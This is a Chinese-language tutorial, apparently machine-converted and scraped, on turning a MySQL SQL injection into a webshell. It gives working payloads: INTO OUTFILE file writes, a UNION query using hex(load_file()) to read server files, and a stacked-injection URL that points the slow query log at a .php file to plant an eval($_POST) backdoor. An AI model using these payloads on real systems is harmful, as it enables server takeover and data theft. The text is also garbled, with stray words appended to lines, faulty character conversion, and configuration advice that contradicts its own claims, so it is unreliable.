若是一個平臺有注入點的時候能夠經過寫一句話拿shell php
條件mysql
1.myql 5.6.34 版本區分linux
2.有寫的權限sql
3.知道絕對路徑shell
MySQL 中 在在mysql 5.6.34版本之後 secure_file_priv的值默認爲NULL ,而 secure_file_priv爲null 那麼咱們就不能導出文件,如下都創建在windows
secure_file_priv 的默認值被修改成無才能利用,且這個只能手工修改配置文件不能用sql語句,也就是想直接導出須要管理員不知道幹了什麼幫你修改好這個權限才行。加密
windows系統在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同時讀寫權限問題就不用說了。日誌
mysql 低於5.6.34 io
時候能夠直接table
寫文件咱們通常用到 `dumpfile`與`outfile` 她們實際上是有區別
`outfile` 會在行末寫入新行,並且會轉義換行符
`dumpfile` 能導出一個完整的文件,不會有任何轉義 因此咱們udf提取通常用的dumpfile
例如 select 1,'123456' into outfile 'C:\\Users\\yzj\\Desktop\\wy1.php'
能夠寫到項目文件下進行解析
也能夠 利用內聯註釋進行 讀取項目文件例如配置文件
id=1 union select 1,2,hex(load_file(0x463A5C5C312E747874)) 經過hex 加密是由於 有時候內聯的數據類型不匹配報錯這個時候就要用的hex() 或者password()
若是 load_file() 方法被禁止了 還能夠用
load data infile '地址' into table user;
寫到某個表中 去查看信息
mysql 高於5.6.34
能夠修改配置文件
secure_file_priv不爲NULL 但須要改配置文件
windows下:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啓mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
固然大部分狀況是沒有權限的咱們利用 堆注入 去更改慢日誌存儲路徑來寫shell
堆注入原生的php方法是不支持的 得使用使用 PDO,mysqli_multi_query() 也就是說條件很苛刻
set global slow_query_log=1;
set global slow_query_log_file='D://404.php' -- 地址
select '<?php eval($_POST['404']) ?>' or sleep(15);
例子
id=1%23;set global slow_query_log=1;set global slow_query_log_file='D://404.php' ;select '<?php eval($_POST['404']) ?>' or sleep(15);
執行完後去跟路徑下去訪問404.php